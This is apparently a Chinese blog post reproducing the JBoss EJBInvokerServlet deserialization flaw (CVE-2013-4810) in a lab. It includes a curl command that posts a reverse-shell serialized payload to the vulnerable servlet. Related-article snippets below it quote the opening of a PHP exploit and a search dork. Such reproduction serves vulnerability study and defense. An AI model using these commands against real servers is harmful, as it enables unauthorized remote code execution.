JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞

原创 于 2024-09-23 18:17:03 发布 · 361 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #WebShell

开启环境

访问http://172.16.1.183:8080/invoker/EJBInvokerServlet下载下来了说明漏洞存在

利用生成的.ser文件，通过POST 二进制数据上去，反向连接shell

curl http://192.168.10.154:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

2301_81525518
关注
【漏洞复现】JBoss(CVE-2017-12149)反序列化漏洞
李火火的安全圈
03-24 712
文章目录声明前言一、漏洞描述二、漏洞原理三、漏洞分析JBoss反序列化漏洞分析四、影响版本五、漏洞利用实战复现六、漏洞修复修复原理方法一方法二方法三 声明 本篇文章仅用于漏洞研究和技术学习，切勿用于未授权下的渗透测试行为，切记！ 前言 JBoss 存在反序列化漏洞，攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危。 一、漏洞描述 JBoss是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3的规范。 在 /invoker/readonly 路径下
网安漏洞复现系列：漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
weixin_54626591的博客
05-06 404
漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
[CVE:2013-4810]Apache Tomcat/JBoss远程命令执行
angaoux03775的博客
11-19 491
1 <?php 2 3 $host=gethostbyname($argv[1]); 4 $port=$argv[2]; 5 $cmd=$argv[3]; 6 7 8 //small jsp shell 9 //change this if you want, url to the app to be deployed,...
php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限
weixin_42370743的博客
03-23 457
此方法成功的渗透至Windows系统并获得最高权限exp此方法成功的渗透至Windows系统并获得最高权限exp/*Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled ObjectRemote Code Executiongoogle dork: inurl:status EJBI...
JBossMQJMS 反序列化漏洞（CVE-2017-7504）漏洞利用工具
07-23
JBossMQJMS 反序列化漏洞（CVE-2017-7504）是针对企业级Java消息服务（JMS）提供商JBossMQ的一个严重安全问题。该漏洞源于应用程序未能正确处理反序列化的对象，使得攻击者可以通过精心构造的恶意输入触发任意代码...
Jboss Application Server反序列化命令执行漏洞利用工具（CVE-2017-12149）
07-23
在2017年，它被发现存在一个严重的安全漏洞，被称为CVE-2017-12149，这是一个反序列化漏洞，允许远程攻击者通过精心构造的输入来执行任意系统命令，从而对受影响的系统造成严重威胁。 反序列化是将已序列化的对象...
【Vulhub】CVE-2017-7504 JBOSS反序列化漏洞复现
看不尽的尘埃——博客
02-07 9184
环境 目标(Kali)：http://192.168.0.11:8080/ 操作机（Paroot）：192.168.0.131     过程 CVE-2017-12149和CVE-2017-7504都是反序列化漏洞，因此用的东西都是一样的，笔者这里使用上次复现CVE-2017-12149的时候的POC文件。 笔者还特别查了下两种区别： CVE-2017-7504 影响范围...
JBoos漏洞及利用整理
weixin_45106410的博客
11-30 4846
CVE-2013-4810 Apache Tomcat/Jboss远程代码执行漏洞 与CVE-2015-7501漏洞原理相同，这里详细介绍一下两者的区别，其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作，而web-console/Invoker利用的org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并
JBoss 中间件漏洞
qq_53742230的博客
07-11 1435
JBoss 中间件漏洞复现
JBoss漏洞总结复现
1ance's blog
10-08 2707
目录简介JBoss发序列化漏洞(CVE-2017-12149)漏洞描述漏洞原理影响范围漏洞复现修复建议JBossMQ JMS反序列化漏洞(CVE-2017-7504)漏洞描述漏洞原理影响范围复现过程修复建议JBoss JMXInvokerServlet反序列化漏洞(CVE-2015-7501)漏洞描述漏洞原理影响范围复现过程修复建议JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)漏洞描述影响范围复现过程修复建议总结 简介 Jboss是一个基于J2EE的开放源代码的
常见框架漏洞
最新发布
A2893992091的博客
09-23 1756
在url处输入 http://123.57.211.129:8080/struts2-showcase/${(123+123)}/actionChain1.action 后刷新可以看到中间数字位置相加了。1.访问 http://your-ip:8080/customers/1，然后抓取数据包，使用PATCH请求来修改。添加【目标地址】--》【爆破密钥】--》【爆破利用链及回显】使⽤JavaDeserH2HC进⾏反弹shell。在靶场中生成shell.sh文件。执行shell.sh文件。
如何修复JBoss EJBInvokerServlet / JMXInvokerServlet 漏洞
05-17 1094
漏洞描述： EJBInvokerServlet和JMXInvokerServlet Servlet中存在一个远程执行代码漏洞。未经身份验证的远程攻击者可以通过特制请求利用此漏洞来安装任意应用程序。 https://192.168.xxx.22/invoker/EJBInvokerServlet https://192.168.xxx.22/invoker/JMXInvokerServlet ...
jboss中间件漏洞复现
mingyqf的博客
02-15 1569
参考：https://blog.youkuaiyun.com/cj_Allen/article/details/109522771 JBOSS简介 JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于J
JBoss常见漏洞整理
热门推荐
寒星的博客
06-01 1万+
JBoss常见漏洞整理 JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。 JBoss高危漏洞主要涉及到以下两种。 第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞，例如：CVE-2007-1036，CVE-2010-0738,CVE-2006.
Supervisord 远程命令执行漏洞（CVE-2017-11610）
weixin_34397291的博客
08-11 209
Supervisor是使用Python 开发的进程管理程序，一般使用命令行进行管理，当然也能通过web接口图形化管理服务。在配置了web接口后，服务器会启动一个XMLRPC服务器，端口为9001，默认配置接口是不需要密码访问的,管理员也可设置为密码访问。利用本漏洞，在获取该接口的访问权限后，远程***者可发送一段精心构造的请求，导致可在服务器执行任意代码。影响...
Bash远程解析命令执行漏洞测试方法
零度危险个人博客
04-06 1611
Bash漏洞为什么能够执行 Bash漏洞的原理： BASH除了可以将shell变量导出为环境变量，还可以将shell函数导出为环境变量！当前版本的bash通过以函数名作为环境变量名，以“（）{”开头的字串作为环境变量的值来将函数定义导出为环境变量。 此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一直执行其后的shell命令。 简单地
CVE-2017-12149 Jboss反序列化漏洞利用工具
2. 反序列化漏洞概念 反序列化漏洞是指当一个应用程序接受用户控制的数据，将这些数据从一种格式转换为程序中的对象时，如果这个过程没有被正确地安全处理，就可能导致安全漏洞的产生。攻击者可以利用这样的漏洞执行...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值